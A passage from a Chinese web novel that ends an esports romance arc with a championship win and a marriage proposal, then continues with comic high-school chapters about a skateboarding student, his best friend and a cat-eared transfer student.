想赢他,但不想让他这样故意输给自己,但是牧绍不让的话大概率又是平局。池一黎没什么表情地移开鼠标,思绪过于复杂,被他的行为弄得动不动就要掉眼泪,想说什么却无法组织语言,毕竟赢了还闹脾气说‘你不能故意输给我’,听起来有些过于任性而且胡搅蛮缠,他又不是这样的性格。 他闷闷地坐在那里,直到牧绍搂着他躺在床上,才赌气一样咬住牧绍塞到嘴里的手指,被夹住舌尖时牙齿微微用了点力,下一秒又怕他被自己咬疼,很轻地舔了一下自己留下的齿痕。 牧绍用唇瓣挨过他的后颈,另一只手顺着脊背一路捏住他的胸链,软舌勾过的触感带起一片痒意,动作停滞一瞬,张开嘴咬住池一黎的衣服,声音暗哑地投降说自己有些忍不住,不要再引诱他。 因为是流程紧凑的世界赛,牧绍整整一个多月最多伸手摸一摸,早上起来胸口的痕迹看起来触目惊心,但除了身体会微微发颤外没有任何不舒服的感觉。牧绍的话语落下,腿根就被摩擦而过,池一黎窝在他怀里,安静了一会儿,半晌小心地开口说明天就比完赛。 指尖在键盘和鼠标间游走,仿佛与设备融为一体。每一个指令都精准无误,如同高温下雪融成水般自然流畅。第六感的意识灵活而敏锐,总能预判对手的动向,轻松避开陷阱后抓住稍纵即逝的机会。细腻的微操也游刃有余,这片战场就是他最熟悉的领域,胜负早已在掌控之中。 直到他点击鼠标,对着胜利的图标扔下最后一个普通攻击。 没有任何悬念的胜利,他从座位上站起身,摘下耳机听到全场的高呼与雀跃。 池一黎的目光扫过对面微笑着表示心服口服的对手、掠过台下沸腾的人群、最后定格在数据虚拟角色的全息投影上。 单人赛七冠王,这个称号如同一顶王冠压在头顶,闪耀着无与伦比的光芒。七次登顶,七次站在这个场地上,接受别人的称赞和膜拜,但他的眼神依旧平静如初。 下台后庄路弥想和往年一样飞扑过来给他一个大大的拥抱,叫着三点水啊皇帝啊七冠王啊就直直冲过来了,到几步距离时高高抬起两条胳膊,被牧绍迅速地捏住衣领甩到了一边。 牧绍把手放到池一黎腰上,嫌弃道:“池三水是我老婆,你抱什么抱?” 紧跟而来的韩城超大声地啧了一声。 庄路弥单手撑着墙,潇洒地稳住自己,兴致勃勃问道:“你们什么时候办婚礼啊?” 牧绍眉头一挑说:“那要看池一黎啊。”毕竟池一黎还没说什么时候和他去登记结婚。 韩城把自己的手臂拧成麻花状,不赞同地说:“他不说你就不准备吗?你准备好他答应了岂不是刚刚好。我早说世界赛前开始就应该准备,啧,一看村长就不重视,三水,我们要不再考虑一下换个人?不然我礼物再不送出去就过时……” 好像一不小心说出了心里话,韩城闭上嘴巴,继续环着胳膊看他们两个人。 话说到这里,但池一黎也有些拿不准,他摘下手腕的黑色护腕,摇摇头沉着道:“还没想好。” “意思是不知道什么日期好吗?”庄路弥快速接话,清清嗓子道:“吾乃洞悉天机之人,手握易经之精髓,心藏八卦之玄妙,吉凶祸福皆了然于胸。无论是求问姻缘,还是探询连理,亦或是解惑良辰,皆能指点迷津,为君拨云见日…所以吾之见,次月甚妙!” 叽哩哇啦一大堆,韩城一个字也没听懂,一巴掌拍到他肩上:“庄路狗,你什么时候成神棍了?” 庄路弥翻了个白眼。两个人来来回回斗了几句嘴,回过神来才发现牧绍已经抱着池一黎出了后台。 牧绍搂着他,池一黎走一步就跟着走一步,愉快地开口说:“爸妈在休息室等我们。” 池一黎脚步停顿了一下,迟疑道:“我准备的东西还在酒店。” “下次见面再给也可以?他们真的不在意这个的,而且——”牧绍低声再次强调,“你能和我一起去见他们,就已经是最大的礼物了。” 池一黎没有回话,站在那里微微凝起眉。 “为什么会这样想,甜心?”牧绍亲亲他,“难道名叫池一黎的甜心宝贝还有什么不好的地方吗?我得到你,现在又和你在一起,是我获得了无比的幸运。” 池一黎想了下,回复他的第二个问话说:“但是我会控制不住掉眼泪。” 牧绍学着他的语气扬起唇:“但是控制不住掉眼泪,我也很喜欢。” 无论是因喜悦而流,还是因烦闷而落,甚至是被自己欺负到哭泣的泪水……一切的一切牧绍都很喜欢,滴落到胸腔将心脏填满,因为是由他落下。 池一黎侧头看他,正好撞进他深邃如夜空的黑色眸瞳,闪烁着无尽的情感将他包裹。 眸瞳的主人轻笑了下,开口说:“那我们再来玩一个,不管我说什么你都说好的游戏吧?” 没等池一黎回答说玩还是不玩,牧绍握住门把手,立刻紧接着继续问他:“我现在想亲你。” 池一黎顿了顿,说好。 “我晚上还想你穿新买的那套衣服给我看,可不可以?” “可以。” “我还想照相?” 池一黎抿起唇:“…好。” 牧绍荡着笑意,又说了几个无关紧要的小问题,在他放松后突然转移话题说:“那,世冠FMVP皮肤,当作聘礼的一部分可以吗?” 池一黎没有思考地说:“可以。” 见他反应过来后也没有什么其他的情绪,牧绍握住门把手的力道大了点,在即将推开门前,再次开口问:“所以一会儿,见完你未来爸妈,我们就去登记结婚好不好?” 他推开门,穿着得体的夫妇处处透露出精心打理的痕迹,既不浮夸也不随意。身旁放着一大堆各种各样的橙色应援物,见到门口两个人的身影,笑着在那里站起身。 池一黎攥紧了牧绍的衣角,眸光微闪,在所有人笑意盈盈的目光下抬起眼,抬步走进门槛前,低声回复了一声:“好。” END 第67章 “完蛋玩意——!你再跑——?!” 身后钢瓷茶杯重重磕到大理石桌面上的声音清脆无比, 韩季京踩着滑板一个弯腰,行云流水般躲过了爸爸扔过来的空塑料瓶。敞开的黑白色校服下摆随着动作在空中飞舞,他跳过门槛, 一个后撤步急刹在庭院中站定。 小院的水泥地还飘着几片被急风带起的落叶,一卷还没拆封的卫生纸从身侧飞过去砸到地上,韩季京顿时嗷嗷大喊:“妈妈妈妈妈妈!!你全世界宇宙无敌最乖的宝贝要被残忍的爸爸桑砸成开花肠了嗷——!” 话语间, 他用脚尖随意后移点住板尾,再顺势收膝荡过板身,一百八十度翻转后, 双翘板跟着他一起干脆利落地转身。 爸爸穿着灰色的晨练服, 坐在椅子上摆正刚刚被自己弄乱的桌垫。韩季京抬起头,用一种特别无辜的眼神看他。 在阳光的照射下,那双茶色的眼眸微微泛起几丝金红的余晖, 再配合鼻梁上毫无度数的男高特供黑框眼镜,故意摆出委屈的表情时,一身酷劲荡然无存,外表看起来完全是个弱小无辜的受害者。 这副模样简直太过于有欺骗性, 要不是知道他实际上是个想一出是一出的超级捣蛋鬼, 爸爸都快要被他装过去将此事轻轻揭过。 “你又把我酒藏哪了?”爸爸把茶杯拿起又放下,头疼道:“那是你喻叔叔才寄给我的、从国外空运回来的百年好酒!才回来一晚上就不见踪迹了?!” “昨天才把我按摩椅蹦哒塌了今天就藏酒, 你明天是不是就要上房揭瓦了?!” 韩季京快速插话道:“我已经上过房顶了啊!” 爸爸呼吸一顿:“你还挺骄傲——?!” “大早上对点心这么凶干什么?”妈妈收到召唤,顷刻间从二楼厨房里走出来, 拿着锅铲向下探头说,“藏就藏了,暴脾气收敛一点,上周胃出血还没长记性?一看就是喝酒喝太多。” 有人撑腰,韩季京立刻原形毕露, 用滑板把卫生纸翘起来,踩住尾端,微用力一弹,伸出手一把抓住后,和眼镜一起塞进腰侧的工装挎包里,语气理直气壮道:“对啊老爸,我是为你好!老是这样生气会急速衰老的。少喝点酒才是正道!” 两人的话都无法反驳,爸爸铁青着脸在那里坐着,觉得气都要被他气饱了。 韩季京脚踩地,溜着滑板试探性地再离近了点,爸爸冷哼一声,他又瞬间站在那里不动了。 妈妈笑起来:“好了,都别生气了。早餐在桌子上,你们中午想吃什么?” 触碰到关键词,韩季京跳起来表演了一个ollie,鸭舌帽在手指上转了一圈,戴上前顺手挼了把自己的卷毛,超大声朝着楼上喊道:“妈妈~妈咪~妈妈酱~!中午我要吃海带结!要吃鱼丸!还要吃淀粉肠!” 爸爸这么多年来被他气的没有一次能把火气压下的,听到这句话忍不住在房间里同样很大声地说:“吃吃吃,小坏蛋一天就知道吃!大早上你想把月亮都吵起来吗?” “如果晚上我下班回来还是不见酒踪,之前说好给你买的小蛋糕就没有了!” 他每说一个字,韩季京原本上扬的嘴角就下压一度,等他完全说完,又变回刚刚那副心虚的态度,摆出天塌了但绝不悔改的倔强模样,爸爸还在那里无缝衔接地说:“……这个月零花钱也都用来抵押酒钱!” 似乎是把惩罚措施都尽数说完,爸爸的脸色肉眼可见得变得畅快起来。 “你简直太过分了老爸!”韩季京掂了下工装挎包,不满地说,“妈妈都说了我是为了你好!” 要东西时会撒娇叫他爸比,被训就喊他老爸,是不是背地里还在说自己是老登。爸爸呵呵道:“等你上学后把你房间里的手办全藏起来,老爸也是为了你好。” 这谁能忍?!韩季京微微屈腿,妄图一个飞跃直直铲滑到老爸椅下,两个人一起表演一个人仰马翻,心里计算着角度,预备蓄势待发,但刚刚摆好造型,就被客厅的铃声毫不留情地击败。 要是往常他可能会直接飞扑过去,然后满意的站起身再看心情选择时间出发,反正走读生迟到已经是家常便饭,只要他故意撒娇说自己真的路上有事情,表面上看起来铁面无私的包青天班主任还是会审视着放过他。 谁让他进能展现酷帅型男风范,退能化身萌系大男孩,就算性格再调皮,所有人也只会眼睛一闭一睁当无事发生。 但是今天他要去歹毒地偶遇隋霖,一切万万不可耽搁!韩季京很酷地发出“哼”的一声,大言不惭道今天放过老爸,脚掌蹬地,一溜烟地踩着滑板飞过门槛。 他的身体在空中划出一道流畅的弧线,一米八五的高挑身型修长而匀称,风掠过他鸭舌帽下的发梢,黑白衣角飞扬,整个人如同挣脱地心引力般轻盈自由。亮橙色的滑板在空中翻转,板面与阳光交错,反射出耀眼的光芒,仿佛这一刻的腾空只是他征服世界的其中一步。 早上七点三十五分。出门左拐,直行经过两个分岔路口,右转再二百米,到达靖江市临河区江城第三中学校门口。 门卫还是熟悉的老人,韩季京在快要到达大门口时拐弯,顺着一旁的小巷熟练地滑了进去。 不出他所料,有人正在那里准备翻墙。 韩季京看着他勾起唇,打招呼道:“隋霖,我们今天又翻同一个墙诶,我们两个可真有缘!” “诶!要不要和我下周一起去升旗台上演讲检讨稿?你刚转来还没有踩过我们学校升旗台吧!别看它是红色,它其实里面是白色的,而且竟然是有一块是软的诶…!” 隋霖把书包扔到墙的对面,转头看他,圆形的金边眸瞳微眯,似乎是在看一个弱智,黑色卫衣帽下有什么在微微抖动。 韩季京敏锐的察觉到那抹细微的声响,眸光一亮:“你先别翻,嘛哥们,让我先翻!哦不对,我想说我真的知道你的秘密——” 转学来连续一周被一个完全不认识的陌生人追着喊“我知道你的秘密”,任谁都会有些不耐烦,但他没有任何不悦,今天似乎还感兴趣起来:“是什么?” “我发现……”韩季京一边说一边突然踩着滑板冲过去。隋霖目光一凝,顷刻间翻过墙去,让韩季京突然伸手的动作抓了个空。 没有抓到,韩季京反而笑起来,像是找到好玩的玩具一般,眸瞳闪过金色的火苗。 他迅速用力踩下板尾,等腾空而起后将滑板夹在左腋下,屈膝蹬上墙面,借力一跃,右手轻松抓住墙顶,长腿扫过一阵劲风,随后借着惯性不费吹灰之力地轻盈落地,动作一气呵成且毫不费力。 他把板子扔到地上,踩住扬唇说:“隋霖,你干什么跑的这么快?我很好相处的,性格乐观活波开朗且在朋友间备受好评……不会追着你烦。” 不会、追着、我烦?隋霖看着这位比自己略高一些的鸭舌帽韩季京同学,露出的下颚线如同精心勾勒的素描,容貌帅到赏心悦目,从哪个角度来看都是上帝专门制造的艺术品——可惜是个男的。 正因为在人群中过于突出,所以才会感觉自己一天二十四小时里二十八小时都能看到他,不知道因为过于活跃还是什么,精力充沛到像是闪现一样哪里都出现。 隋霖摘下兜帽,纯白色的发丝落在脖颈,问:“你想说什么?” 韩季京不假思索道:“邀请你一起去主席台演讲啊,毕竟我们都是翻墙的革命友谊,我觉得完全可以进行下一个阶段的培养来坦诚相待了啊……” “你们早上好啊——” 一道声线突兀地插进来,语气温和缓慢,却透着一股很深的玩味,一听就不是什么正经人能说出的调子。 “老师。”隋霖向来者点了点头。 什么玩意?! 韩季京下意识转头,毫不意外地看到喻修越那张熟悉的脸。 来人嘴角挂着似笑非笑的弧度,鼻梁上架着他包里的同款无度数眼镜,外表温柔干净,衣服拉链不拘一格地拉在最顶端,完全是常年霸榜年级第一的好学生样貌,看起来比他还具有欺骗性。 韩季京来不及计较他插自己的话,一脸不可思议:“显眼包!亲兄弟!十七年纯革命战士!你竟然背着我偷偷毕业当社畜了?怎么这样!真的太离谱了你竟然还能毕业——” “一对一帮扶小组。”喻修越把手搭在他肩膀上说,“我一猜你就在这……你前几天班会又没听?” 韩季京说:“怎么会呀,我肯定听了啊,我又没有其他事可以干,我怎么会不听呢,毕竟我不听也没有其他要听的啊。” “本人,年级第一,”喻修越一听就知道他没听,向对面的隋霖扬起下巴,语调很慢,“被大红耗子要挟去帮助这位转学过来的、家里疑似超凡有钱的、转学考试六门科加起来不超过六十分的艺术生人才。” 高二年级的年级主任,理科A班的数学老师,姓名里带了个‘浩’字,脾气暴躁还爱发脾气,赐名为大红耗子。 隋霖微微颔首,说了声谢谢,就和那一连串的称呼是在夸他一样,思维完全无法以正常人模式概括,但在场的三个人谁都没觉得不对。 韩季京转头,真诚地膜拜道:“隋霖,我之前怎么不知道你竟然这么厉害?!” 隋霖似乎对他这句话极为受用,十五分钟预备铃声响起,走之前还向他点了点头。 理科A班教室在一楼,离这里就几分钟距离,完全不用着急。喻修越不知道他又在打什么主意,问:“你最近缠着他干什么?” 韩季京摘下鸭舌帽,完全露出卷毛下的那张脸,眼尾飞扬,鼻梁直挺,眉宇间透着几分针锋麦芒的狡黠与不羁,嘴角仿佛天生上扬,任谁看了都不由自主心生好感。 他眼睛一闭一眨,不知道想到什么,不怀好意地笑起来,凑过去贴近喻修越的耳畔,压低声音说:“因为我看到——你那位学生,脑袋上长了对猫耳朵诶——” 第68章 喻修越把搭在他肩上的手放下, 给嘴里塞了一块面包,平静道:“你不也有耳朵?” “所以才会产生认同感啊,”韩季京强调道, “你看啊,他有耳朵我也有,茫茫人海中遇到另一个多不容易, 这岂不就预示着他翻墙后应该和我一样上升旗台检讨?!” 喻修越点头附和道:“这确实。” “而且——”韩季京同样满意点头,继续说,“他长得那么好看的!和游戏里那个执政官一模一样, 看着就让人很喜欢诶!” 韩季京几周前打游戏被剧情杀, 过场动画里主角的上司、基地的执政官、猫耳白毛男以一己之力救他所操纵角色于水火之中,被感动到泪眼汪汪,最近天天把这个虚拟人物挂在嘴边。 喻修越一听就明白他是把对执政官的喜爱朝隋霖进行了情感转移。带了点轻笑开口道:“什么都不会的‘人才’看着的确令人感动。” 这句话说得过于隐晦, 分辨不出是阴阳还是夸奖。反正两个人本质是一个意思,韩季京对自己的理解深信不疑:“什么都不会这几个字 ,听上去就很厉害了。” 毕竟总成绩加起来还不到六十分诶!一般人也考不出来这么低的分数吧?!天啦噜,真不愧是隋霖! 两个人净身高相差无几, 韩季京用手钩住他身上的同款工装包, 凑过去勾肩搭背,目的性极为明确道:“你们下次那什么帮扶是什么时候?哥们!兄弟!帝王!A班之神!把我带上把我带上把我带上!堂堂班级倒数不配得到年级第一的指导吗?!我说完全太不应该了哇!” 喻修越任由他扯着, 校服外套都被拉得歪向一侧,他扫了一眼又不在意地迈起步子。这块是男生宿舍楼背后的一小片香樟树林, 刚好处于监控盲区,平时也没什么人会从这里经过。 他一边向教室走一边开玩笑说:“‘人才’家长给学校捐了两栋楼,补课费两小时五百,你愿意给什么?” “哇塞,显眼包, 补课费在骂你诶,这你都不生气?”韩季京义正词严说:“我愿意帮你分担一半受伤的心灵,我简直对你太好了耶?!” 说完这句话,他又被路边树上开的粉花吸引了注意力,从新出的动漫聊到游戏更新,再聊到自己前天才收的手办,每个都只说了几句就转移话题,末了再突然说起自己昨天晚上干的坏事。 “…上面全是不认识的英文,放在餐桌上还没我的水杯大,包装的和饮料一样……”韩季京用右手的大拇指和食指比划了一下,理直气壮地告状道,“所以我就直接拆开尝了一口啊,谁知道竟然那么难喝?于是我英勇无畏地将毒药摧毁掉,免得他误食后再也见不到我和妈妈……这难道不应该夸夸我吗?!” 喻修越看了眼他手比划的大小,又在脑海中对比了一下他桌子上那个卡通小狗吨吨杯的大小,想象到叔叔被气到火冒三丈的样子,又想起上周才喝进医院那件事,慢悠悠嗯道:“对啊,对啊,哪里有错了?” “妈妈叫阿姨收拾完后也这样夸我,”韩季京毫无忏悔之心地哼道,“不给小蛋糕就不给好了。” 到教室后门时抬头看表,还有十分钟才上第一节课。 韩季京回完一路的“早上好”,把滑板竖起来放到教室角落,转身凑到年级第一后排靠窗的王座旁边,毫不客气地去叼他手里的面包:“我也要吃!什么夹心?快点给我一口!” “巧克力,”喻修越把面包举起来放到他嘴边,温和地问:“喻女士今天也要出国,晚上来我家陪我?” 韩季京茶色的眸瞳睁大,一本正经地说了句“不可以买巧克力,因为我吃不了”,又看到里面是蓝莓夹心,低下头咬了整整一大口,嚼嚼嚼说:“那中午来窝家次饭?” 喻修越慢条斯理地收回手:“咱妈今天做什么?” “鱼丸,淀粉肠……”好像都是饭后小零食,韩季京也不知道中午是什么饭,他几口嚼完咽下去,拿起喻修越刚从包里掏出来的保温杯喝了一口,毫不意外地发现里面装的可乐。 前桌邱扬北转过身来,扶了下金丝眼镜,气恼道:“男同你们总算来了,老李布置的最后一题到底答案是什么?我跟秦始皇从昨晚回宿舍吵到现在了,我服了他个倔种硬说我算错了!” 因为从小一起长大,关系太铁且形影不离,被打趣地都快成公认的一对了。韩季京笑了下,直直拍上他的肩膀:“深柜,你数学多少分心里没个数?说你错了那就绝对是你错了,你就别挣扎了!” 教室的布置是单人单座,秦皓璜顶着寸头站起来,隔着半个教室大喊:“我靠邱扬北你说谁倔?明明就是你算错了!老子他喵的堂堂数学年级第二能带有错的?韩点心再帮我给他一拳!” 喻修越把卷子放到桌子上,问:“选的哪个?” “是参数那道。”隔了个过道的林晓佳扫了一眼喻修越的试卷,叹道:“学神,你连个草稿都没有就直接写答案啊?” 喻修越从韩季京手里拿过保温杯喝了一口,笑而不语,处处透露着不屑。韩季京替他评价道:“这证明什么?证明你们都和数学没缘分,一群菜比放弃吧!” 没分科前的政治课代表邱扬北正色脸:“什么缘分,我们要拒绝玄学好吧?我只是拒绝用大脑窃取数学课本的知识产权。” 五分钟警示铃响起。韩季京随便伸出手,喻修越秒懂,从包里掏出两支中性笔递给他:“不想回座位?” 提到这个,韩季京就少见地有些郁闷。他本身和喻修越前后桌,但因为上课总传小纸条、飞纸飞机、不停地接老师话茬、问一些奇怪的问题、在别人回答的时候乱插嘴……总之现在被安排坐在了讲台旁边的VIP宝座上。 韩季京说:“哈哈,怎么会呢?就是离你远了一点而已,我简直太喜欢坐在那里了诶!” 喻修越从桌子里掏出磁悬浮陀螺递给他:“第一节是语文,睡一觉就好了,下课我去找你。” 邱扬北阴阳怪气:“我~下~课~去~找~你~,不知道的以为你俩一个在一楼一个在五楼。” 韩季京恶狠狠踢了脚他的凳子,把陀螺揣进兜里走到自己的座位。 他把帽子和书包随手挂在桌子自带的钩子上,顺手把老师讲台上的粉笔盒全都塞进自己的抽屉里,思考一番,又大发慈悲地留下了一支白粉笔。 他在座位上根本就坐不住,除了自己喜欢的物理课外都很难熬,恨不得一下课就去操场跑上几圈挥发精力。 语文老师是班主任老柳,抱着书进门时问谁去扫一下门口小花园的落叶,韩季京正无聊地在座位上看陀螺转圈,闻言立刻起立,卷毛蓬松的像棉花糖,大喊道:“领导!我来!” 老柳往讲台上一站,泡着枸杞的玻璃杯一放,二十多年的班主任生涯使他不怒自威,但面上严肃的老师往往很容易心软。他看到讲台上仅剩的一根粉笔,又看见韩季京那双仿佛在疯狂闪星星的茶色眼睛,没有拆穿道:“那你顺便去领几盒粉笔,谁和他一起?”他点平时最调皮的两个人,“秦皓璜,你去吗?” 两位班级最出名的捣蛋鬼抓起扫帚就撒欢一样冲出了门。 韩季京扫完地把工具放到教室后门,拍了拍校服外套下台阶,领粉笔的地方在餐厅旁边的总务处办公室。虽然都知道是他藏起来了,但还是需要象征性拿两盒回来。 秦皓璜和他初中就在一个班,得意洋洋地从衣服内侧小心翼翼地摸出手机,神采飞扬地问道:“点心,寄新出的角色pv你看了吗?天呐,斯乐蒂妮简直生下来就应该当我老婆的啊!” 寄,全名《契计灵幻沙潮》,是经典5v5竞技MOBA对抗游戏《契约计划》制作厂商依照原本剧情再次新编后、重磅推出的开放世界冒险类角色冒险游戏。主要人气角色随着剧情发展基本全都领盒饭下线,故被粉丝赐别名为寄。在最近几年火爆全国,路上随便拉一个年轻人,就算没玩过也会听过它的鼎鼎大名。 韩季京毫不掩饰自己对白毛猫耳男的喜爱,扫了眼他的界面:“肯定看了啊!执政官的新皮肤预告我反复看了几十遍了,周边上线后我绝对会第一时间买的!” 虽然聊的完全不是一个角色,但秦皓璜立马切入正题:“我们亲爱的哥哥一定会……” 这两个出自同一家制作公司的游戏版权都归联盟所有,韩季京关系很好的表哥刚好在联盟里当现役电竞选手。虽然不是一个游戏,但韩城在直播时会过寄的剧情,而且对周边这方面颇有研究,合作厂商会送样货让他帮忙宣传推广。 那些周边一般拍完照全都会寄给韩季京,而他暂时只喜欢猫耳男一个人,一点也不护食,于是非常大方道:“如果这次有斯乐蒂妮的,我全给你。” 秦皓璜在打开总务处办公室门的那瞬间热泪盈眶:“点心哇小点心,我靠你简直是我这辈子最铁的好哥们!” 办公室里没有老师。韩季京在他身后踏进门,一眼就看到那个白色头发的身影。 隋霖也和同学在这里领东西,脸上表情很淡,两只手里各拿着一把扫帚。 韩季京看到他的那头白毛就心情很好,扬起唇:“好巧呀,隋霖,又见面了!” 隋霖侧了下头,在他脸上停留了一会儿,久到韩季京还以为自己刚刚吃面包在上面留了什么脏东西,不由得眨了眨眼,对面的人才收回视线点点头:“早上好。” 秦皓璜拿了盒粉笔,又想到什么一样凑过来问:“哦对了,这周末会展中心的中西部你还去吗?我上次不是在平台发了你cos的那个滑雪家尔德里嘛,一堆人问我你联系方式!该说不说的你什么时候开个账号?” “嗯…回去问问看显眼包有没有时间,”韩季京说,“账号他开了,反正我们两个在一块。但是还没决定出什么诶。” “要不再出一次滑雪家?刚好和你专业对口!拿着陆冲板狠狠秀他们一脸!” “我喜欢瑞拉柠。”隋霖不知道什么站到了他旁边,他想了想,说,“游戏里的那个穿黄裙子的女角色。” 第69章 猫耳白毛男说喜欢瑞拉柠, 你出不出?猫耳白毛男说喜欢瑞拉柠,韩季京直接列入计划! 这波叫什么?!这波是与心选角色的双向奔赴! 课间两个人站在走廊里晒太阳,韩季京眉飞色舞地说起这件事, 等到他把意思全部表达完,喻修越才不慌不忙地抬起手,用食指扶了下脸上的黑框眼镜。 他眯起眼睛, 眸瞳染着幽深的墨蓝色彩,语速很慢地开口:“那我喜欢游戏里那个穿公主裙的女角色、穿酒保制服的女角色、还喜欢那个穿旗袍的女角色……” 韩季京鼻梁上架着和他同款的黑框眼镜,听到这句话后靠在柱子旁边深思, 半秒后抬头拍了拍喻修越的肩, 显然思维和他不在一个频道上,郑重道:“没关系的!亲兄弟就是,哪怕你是同时喜欢上三百个人的渣男, 也会时刻站在你这边的呀!” “哇塞,”喻修越学着他的语气笑了下:“我说的话就是渣男了?” 隋霖就说了一个角色,韩季京也只喜欢一个角色,喻修越看样子要说的还不止三个, 这不是渣男是什么?! 但他转念一想, 每个游戏角色都喜欢的人也不在少数,秦皓璜还上线一个角色就喜欢一个角色呢。喻修越这样多正常, 喻修越只是喜欢的角色多了点,喻修越怎么会有错耶?! “你当然不是啊, 但是你还是换个角色喜欢吧,”韩季京严肃补充说,“兄弟妻不可贪,公主裙目前暂且还是秦皓璜老婆诶!” 喻修越似笑非笑,直白问:“我说喜欢, 你不打算出吗?” 韩季京想了下:“但是我又没有女装的癖好啊。” 顿了顿,他后知后觉反应过来喻修越之前话语的意思,感叹道:“天啦显眼包,想看我完美卓越的身姿可以直接说的!毕竟我长相风流倜傥,看起来一表人材,处处透露着不凡,做男做女肯定都很精彩,你想看的话完全情有可原啊!晚上回去就一起下单!” “这样啊,”喻修越面不改色,慢悠悠纠正道:“那我不喜欢了,刚刚只是在模仿隋霖说话而已。” “不行!你不能不喜欢!”韩季京扒拉他校服,撒泼打滚道,“我都决定好了诶,你快点说你想看!你快点说你喜欢!我不管!你快说啊——!” 喻修越以一副大帝姿态站在那里,任他怎么拉校服,都只远眺小花园的那几棵长了粉花的树。 路过的林晓佳拉着好朋友的手凑过来,她个子在女生中也算高的,直起身体可以和韩季京平视,见到这一幕开玩笑说:“学神又不理你了?他好坏哦。” 韩季京啄米一样点头,接话说:“对啊对啊,他好坏的!连我都不理的能是什么好人啊?” 上课铃声在下一秒响起,韩季京随意转头,一眼就看到秦皓璜站在讲台上不知道在干什么。 谴责喻修越的话在嘴边溜了一圈就被他全部忘掉,韩季京几个跃步飞过去,毫不留情地抬腿踢秦皓璜的屁股:“歪,你干什么呢?” 秦皓璜吓了一跳,看到是他又松了口气,“嘘”了一声,鬼鬼祟祟地看了一圈教室里陆陆续续进来的同学,摸了下自己的寸头小声开口:“来悄悄把名字划掉。” 下节课是英语,讲台上贴着五张便利贴,上面记着早读没有给组长背课文的人名单。秦皓璜数学和英语成绩成反比,找到自己所在的组,用中性笔把自己名字全涂黑。 英语老师叫人上黑板听写单词时只从便利贴上叫人,韩季京早读还在家里吃饭,怎么可能给组长背诵。他把讲台上的东西挨个拿起来再重新放下,声音也小起来:“把我名字也划掉。” “你们组组长是林晓佳吧?我记得她没写过你名字的。” 韩季京震惊极了:“那我怎么还天天被华姐叫上黑板?” 他想了下又懒得再想,抬头看了眼已经坐在座位上的喻修越,拿过笔说:“那就是显眼包也没被记咯?我要把他名字全都写满!” 秦皓璜太理解喻修越在老师心中的地位,闻言悲催道:“写满了他也不会被叫啊…” 两个人挤在讲台上低着头窃窃私语,冷不丁地,肩膀上突然就搭了一只手。 韩季京还在奋笔疾书,被碰到那瞬间浑身打了个激灵,耳朵都快要弹出来,转身时中性笔一个脱手,被他不知道甩飞到哪里去。 板擦被胳膊带着砸到来者身上,粉笔灰四散开来,英语老师年轻的脸在烟尘后方显现。 她看了眼自己由黑变白的衣服,笑吟吟道:“今天也是一样对我很enthusiasm呢。” 这半句汉语半句英语的讲话方式着实让人害怕。韩季京把板擦捡起来放在桌子上,熟练无比地装乖巧,茶色的眼睛眨眨眨:“对不起耶姐姐老师,我不是故意的。” “热情会拼吗?内疚会拼吗?”英语老师这一套见得多了,把粉笔一人一个塞进两个人手里,弹了弹自己的衣服,语气温柔,“刚好在这里站着,那就一人选一个,分别在黑板上写出至少六个表达这两个意思的单词吧。” 秦皓璜左看右看,看到便利贴上自己刚涂黑的名字,在原地痛苦地碎掉。他想和韩季京挨着站,但英语老师无情地将他们安排在了黑板最边缘的一左一右。 韩季京总成绩不差,物理接近满分,但英语成绩只在及格线附近蹦迪,词汇量根本无法匹敌,写出三个后悔就站在那里扮演雕塑,不知道的会以为是一个长相帅气的高个傻子站在台上。 英语老师在一旁拿着便利贴读名字,又叫了两个人上黑板一起默写单词。她翻到第四张时猛地笑起来,揶揄道:“第四组喻修越,喻修越……咱们班怎么有十二个喻修越都没有给小组长背课文啊?” 全班哄堂大笑,老师转身去看和黑板死磕的韩季京:“旁边比你来得晚的都快写完下去了,至尊VIP,难道你想陪我在这里站一节课?” 韩季京理不直气也壮,大声说:“虽然我很想陪老师你一起站在这里,但是我的座位已经离你很近了,而且……我就是不会写啊!” 英语老师“哦”了声,提了个建议说:“那让你那十二个对象上来帮你写。” 长时间来已成习惯,韩季京秒速去看喻修越。 后者放下笔站起来,一尘不染的校服在阳光下黑白分明,脸上看起来就写满“你爹智商无人能及”几个大字,一步一步走到他面前伸出手:“粉笔。” 幻视游戏里救人于水火之中的盖世白毛猫耳男,韩季京很有自知之明地把粉笔放到他手上,万分膜拜地向后退了一步给他腾位置。 “我不理你,我好坏的啊。”喻修越一边写一边慢悠悠说。 韩季京改口:“谁说的诶?全世界简直没人比你更好了耶!” “你俩下课再谈,快点写完下来,”英语老师嫌弃地说,“其他人把昨天讲了一半的卷子拿出来。” “姐!华子姐!”最右边的秦皓璜连enthusiasm都拼不出来,对着空白黑板欲哭无泪,“靠北啊,这还有个人在上面挂着!” 方柠华温柔道:“月考给我考多少啊还想着下去?要是咱们班卡单科成绩你早去隔壁了。听说数学一百四?故意看不起我?这节课就陪我一起站这吧。” 话虽然这么说,但在秦皓璜站了几分钟后还是让他下去了。一节课四十五分钟,第二节课下的二十分钟大课间基本全班都在睡觉。 韩季京玩了一节课的魔方,铃声一响就坐在凳子上转身,一米八五的长腿一伸,去踢第一排秦皓璜的桌子。 “去找你对象,”秦皓璜听见英语就犯困,趴桌子上拿校服外套把自己头包起来,吭声道:“我昨天三点睡的……大王,小的再不补觉就要原地升天了!” 喻修越课上到一半就被数学老师叫去办公室,现在座位上根本没有人。韩季京毫无放过他的想法:“你快点,我昨天让新开的那家奶黄包给咱们留了四个,去晚了就没有了!” “北儿他……” “他睡着了跟猪一样诶,你天天和他睡一起你不知道?去晚了挤不进去了!” 新开的那家奶黄包超级火爆,每天甚至还都限量,往往饭点还没到就卖脱销。秦皓璜把脑袋上的衣服一扒,被韩季京的说辞打败,认命地爬了起来。 学校内有两座餐厅,分别位于南北两侧。北餐厅距离韩季京他们所处的教学楼很近,出教学楼后左转,沿着主路直行不到一百米就能看到,极其方便下课飞奔去餐厅抢饭。 餐厅外面开了一圈各种各样的小吃店,现在刚下课人还不多,韩季京熟门熟路地踏进其中一家,张嘴喊人:“漂亮姐姐!昨天我在这留了四个奶黄包!” 店主从蒸锅里取出来递给他,笑着问:“要丸子吗?买三根姐姐再送你一根。” 一根丸子一块五,白嫖的为什么不要。韩季京眼睛一亮,蓬松的卷毛跟着他一起点头,从口袋里拿出喻修越的校园卡按上刷卡机。 四个奶黄包,韩季京一个,喻修越一个,邱扬北一个,秦皓璜一个。 